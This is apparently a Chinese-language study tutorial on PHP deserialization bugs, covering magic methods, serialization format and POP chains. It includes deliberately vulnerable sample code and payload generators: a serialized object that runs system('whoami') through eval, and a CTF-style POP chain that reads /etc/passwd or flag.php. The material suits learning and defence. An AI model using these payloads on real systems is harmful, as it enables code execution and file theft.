反序列化漏洞还是非常有意思,值得学习,实践效果也非常不错,所以系统学习一下。
PHP反序列化基础
类与对象
PPH中的类和对象
<?php
class Person {
public $name = "cool";
public function haha() {
echo $this->name.":hello!\n";
}
}
$person1 = new Person();
$person1->haha();
?>
魔术方法
何为魔术方法?指的是:具备被应用自动调用的特性的一类方法(函数),即触发了某事件前或后,魔术方法将自动调用执行,而一般函数必须手动调用。PHP将以"__“为开头的类方法保留为魔术方法。
常见的魔术方法:
方法名称 | 作用 |
---|---|
__get | 原本类中的私有属性是无法直接访问的,PHP使用了该方法帮助获取私有属性,因此在调用私有属性或者该类不拥有的属性的时候会自动执行 |
__set | 在设置不可访问属性的值时,即在调用私有属性的时候会自动执行 |
__toString | 当对象被当做一个字符串使用时调用(返回一个该类被当作字符串使用时所能替代的字符串) |
__sleep | 序列化对象之前调用(返回一个包含应被序列化的属性的数组) |
__wakeup | 反序列化对象之前调用 |
__call | 该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去 |
__isset | 当对不可访问属性调用 isset()或empty()时会被调用 |
__unset | 当对不可访问属性调用unset()时会被调用 |
__invoke | 当脚本尝试将对象调用为函数时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
魔术方法举例:
<?php
class Person {
private $name = "cool";
public function haha() {
echo "\n".$this->name.":hello!\n";
}
public function __wakeup() {
echo "\n __wakeup method!\n";
}
public function __construct() {
echo "\n __construct method!\n";
}
public function __destruct() {
echo "\n __destruct method!\n";
}
public function __set($key, $value) {
echo "\n __set method!\n";
}
public function __get($key) {
echo "\n __get method!\n";
}
public function __toString() {
echo "\n __toString method!\n";
}
}
$person1 = new Person();
$person1->name = "new cool";
echo $person1->name;
$ser_person1 = serialize($person1);
$unser_person1 = unserialize($ser_person1);
print_r($unser_person1);
?>
注:
print_r接受对象类型,所以未调用__toString,如果使用print或echo函数,则会发生调用;
反序列化后产生两个对象,随后两个对象都消亡,调用两次__destruct;
序列化定义
序列化指将对象或数据结构转换为可存储形式(字符串)的过程。目的是为了更方便存储和传输数据结构或对象。
PHP序列化方法:
serialize()、json_encode()
序列化例子:
<?php
class Person {
public $name = "cool";
private $age = "18";
protected $sex = "boy";
public function say() {
echo $this->name.":hello!\n";
}
}
$person1 = new Person();
$ser_person1 = serialize($person1);
print($ser_person1);
?>
含义解释:
类:类名长度:“对应类型”:类的属性数量:{类型:属性名长度:“属性名”;类型:属性值长度:“属性值”;……}
注:
发现private属性和protected属性在序列化时,属性名和属性长度与public属性不同
- private属性在序列化时,属性名变为:\x00 + 属性所在类名 + \x00 + 属性名;属性名长度相应改变
- protected属性在序列化时,属性名变为:\x00 + * + \x00 + 属性名
反序列化定义
将序列化后的字符串转换为原有数据结构或对象的过程。
PHP反序列化方法:
unserialize()、json_decode()
举例:
// 将之前例子序列化后的字符串还原为对象
<?php
class Person {
public $name = "cool";
private $age = "18";
protected $sex = "boy";
public function say() {
echo $this->name.":hello!\n";
}
}
$ser = 'O:6:"Person":3:{s:4:"name";s:4:"cool";s:3:"age";s:2:"18";s:3:"sex";s:3:"boy";}';
$unser = unserialize($ser);
var_dump($unser);
?>
反序列化漏洞
反序列化漏洞就在于攻击者控制外部输入,实际攻击者可控的只是任意类对象的属性而不是方法,所以必须选择控制那些存在魔术方法(自动调用),且方法中含有可以利用函数的类。最终实现从操控对象属性到操控敏感函数的目的。
示例
<?php
class A {
private $test;
function __construct() {
$this->test = new B();
}
function __destruct() {
$this->test->say();
}
}
class B {
function say() {
echo "haha!";
}
}
class Evil {
var $test1;
function say() {
eval($this->test1);
}
}
unserialize($_GET['test']);
>?
- 分析
首先可以明确unserialize
函数的参数是外部获取,即我们可以控制反序列化任何类对象。分析当前的三个类,在B类和Evil类中,我们无法调用其中的方法,没有什么意义,但可以明确Evil类方法中存在eval
危险函数。
观察A类,其存在__construct
构造函数和__destruct
析构函数,在构造函数中修改test
属性为B类的对象,析构函数中调用了其test
属性的say()
方法,而Evil类中的say()
方法却调用了执行命令的函数。
因此思路比较明确:只要我们反序列化时,修改A类的test
属性为Evil类对象,则在A类对象销毁时会调用Evil类中的say()
,从而实现反序列化执行任意命令。
- payload
<?php
class A {
private $test;
function __construct()
{
$this->test = new Evil();
}
}
class Evil {
var $test1 = "system('whoami');"
}
$A = new A();
$payload = serialize($A);
var_dump($payload);
?>
序列化生成payload:
注意不要丢掉private属性的属性名中的
%00
O:1:"A":1:{s:7:"%00A%00test";O:4:"Evil":1:{s:5:"test1";s:17:"system('whoami');";}}
PHP反序列化POP链
POP链
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击效果。
实际上ROP 是通过栈溢出实现控制指令的执行流程;而反序列化就是通过控制对象的属性从而实现控制程序的执行流程。
示例
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
?>
分析并寻找POP链:
- 先找外部可控的反序列化入口:
unserialize($_GET['hello']);
- 分析各类的魔术方法
- Show类中存在
__wakeup()
方法,其中对source
属性调用preg_match()
方法,如果source是某个类对象,会触发__toString()
方法 - Show类
__toString()
方法从str
属性中取str
键,如果果str['str']
是某一个类对象,会触发__get()
方法 - Test类中存在
__get()
方法,其中尝试对p
属性进行函数调用,如果p属性是某个类对象,会触发__invode()
方法 - Read类中存在
__invoke()
方法,其中调用方法去读取var
属性值的文件内容。因此,为了获取flag.php
,可让var=flag.php
基于以上分析,编写脚本生成payload:
<?php
class Read {
public $var = '/etc/passwd';
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$R = new Read();
$S = new Show();
$T = new Test();
$T->p = $R;
$S->str['str'] = $T;
$S->source = $S;
var_dump(serialize($S));